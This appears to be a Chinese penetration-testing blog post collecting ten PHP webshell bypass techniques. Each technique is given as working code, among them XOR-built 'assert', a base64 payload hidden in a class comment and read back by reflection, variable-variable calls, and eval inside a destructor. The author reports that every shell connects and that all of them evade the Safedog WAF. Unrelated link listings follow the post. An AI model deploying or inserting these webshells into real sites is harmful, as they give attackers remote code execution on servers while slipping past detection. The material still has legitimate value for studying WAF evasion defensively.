渗透测试 | php的webshell绕过方法总结

目录

1.php的异或运算

2.通过获取注释去绕过

3.利用字符的运算符

4.通过end函数代替[]

5.通过常量去绕过

6.字符串拼接+双美元符

7.通过函数定义绕过

8.通过类定义,然后传参分割

9.多传参方式绕过

10.通过get_defined_functions绕过


本文由掌控安全学院 - 手电筒 投稿

1.php的异或运算

复制代码
  1. $a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算

运算异或运算符,按二进制位进行异或运算

这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码

通过这个转换的方式来绕过检测

复制代码
  1. <?php

  2. $a= ("!"^"@").'ssert';

  3. $a($_REQUEST[x]);

  4. ?>

测试可以成功连接

2.通过获取注释去绕过

复制代码
  1. <?php

  2. /**

  3. * YXNzZXJ0YmZnZmc=

  4. */

  5. class Example

  6. {

  7. public function fn()

  8. {

  9. }

  10. }

  11. 通过一个空的类去获取,

  12. $reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释

  13. $zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

  14. $zhushi = base64_decode($zhushi);

  15. $zhushi = substr($zhushi, 0, 6);

  16. echo $zhushi;

  17. foreach (array('_POST','_GET') as $_request) {

  18. foreach ($$_request as $_key=>$_value) {

  19. $$_key= $_value;

  20. }

  21. }

  22. /*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离

  23. 再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容

  24. */

  25. $zhushi($_value);

  26. //最后就是assert(传入的变量值)

  27. ?>

原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell

测试可以成功连接

3.利用字符的运算符

复制代码
  1. <?php

  2. $__="assers";

  3. ++$__;

  4. //echo ++$__;

  5. $__($_REQUEST[x]);

  6. ?>

__ 为字符串assers,然后对这个字符串进行自增操作,这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert,然后去拼接(_REQUEST[x]);,生成shell

测试可以正常连接

4.通过end函数代替[]

复制代码
  1. <?php eval(end($_REQUEST));?>

这里的end函数的作用是输出数组中当前元素和最后一个元素的值,这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参

测试可以正常连接

5.通过常量去绕过

复制代码
  1. <?php define("a","$_GET[1]");eval(a);?>

这里的关键在于define函数,这个函数的作用是定义一个常量

我们这里设置一个常量为a,它的值是_GET\[1\],然后再去eval执行常量a,实际就是eval(_GET[1]);,从而达到绕过的目的

测试可以正常连接

6.字符串拼接+双美元符

复制代码
  1. <?php

  2. $a='ass';

  3. $b='ert';

  4. $funcName=$a.$b;

  5. $x='funcName';

  6. $$x($_REQUEST[1]);

  7. ?>

这里通过把关键的assert进行分割,然后拼接,然后通过$$,利用可变变量去执行

测试可以正常连接

7.通过函数定义绕过

复制代码
  1. <?php

  2. function a($a){

  3. return $a;}

  4. eval(a($_REQUEST)[1]);

  5. ?>

这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容,这里shell里的

a(_REQUEST)\[1\] 的实际效果为 a(_REQUEST),相当于是a(a),会返回a的内容,结果为

_REQUEST,最后一行的实际内容为eval(_REQUEST[1]);

测试可以正常连接

8.通过类定义,然后传参分割

复制代码
  1. <?php

  2. class User

  3. {

  4. public $name = '';

  5. function __destruct(){

  6. eval("$this->name");

  7. }

  8. }

  9. $user = new User;

  10. $user->name = ''.$_REQUEST[1];

  11. ?>

通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,

然后,user-\>name这个相当于是this->name,等于''.$_REQUEST[1];

最后user-\>name = ''._REQUEST[1]; 相当于eval($_REQUEST[1])

测试可以正常连接

9.多传参方式绕过

复制代码
  1. <?php

  2. $COOKIE = $_COOKIE;

  3. foreach($COOKIE as $key => $value){

  4. if($key=='assert'){

  5. $key($_REQUEST['s']);

  6. }

  7. }

  8. ?>

这里设置cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,key为键,value为值,然后进行一个if判断,当key为assert时,key拼接(_REQUEST['s']); 达到生成shell效果

测试可以正常连接

10.通过get_defined_functions绕过

复制代码
  1. <?php

  2. $a=get_defined_functions();

  3. $a['internal'][841]($_GET['a']);

  4. ?>

这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过['internal'][841]去访问并调用相应函数,然后后接($_GET['a']),生成shell

测试可以正常连接

用安全狗进行检测

以上方案里的均能过安全狗

关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文上做补充

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

相关推荐
若亦_Royi24 分钟前
C++ 的大括号的用法合集
开发语言·c++
资源补给站1 小时前
大恒相机开发(2)—Python软触发调用采集图像
开发语言·python·数码相机
m0_748247552 小时前
Web 应用项目开发全流程解析与实战经验分享
开发语言·前端·php
6.942 小时前
Scala学习记录 递归调用 练习
开发语言·学习·scala
FF在路上2 小时前
Knife4j调试实体类传参扁平化模式修改:default-flat-param-object: true
java·开发语言
众拾达人3 小时前
Android自动化测试实战 Java篇 主流工具 框架 脚本
android·java·开发语言
皓木.3 小时前
Mybatis-Plus
java·开发语言
不良人天码星3 小时前
lombok插件不生效
java·开发语言·intellij-idea
源码哥_博纳软云3 小时前
JAVA同城服务场馆门店预约系统支持H5小程序APP源码
java·开发语言·微信小程序·小程序·微信公众平台
学会沉淀。3 小时前
Docker学习
java·开发语言·学习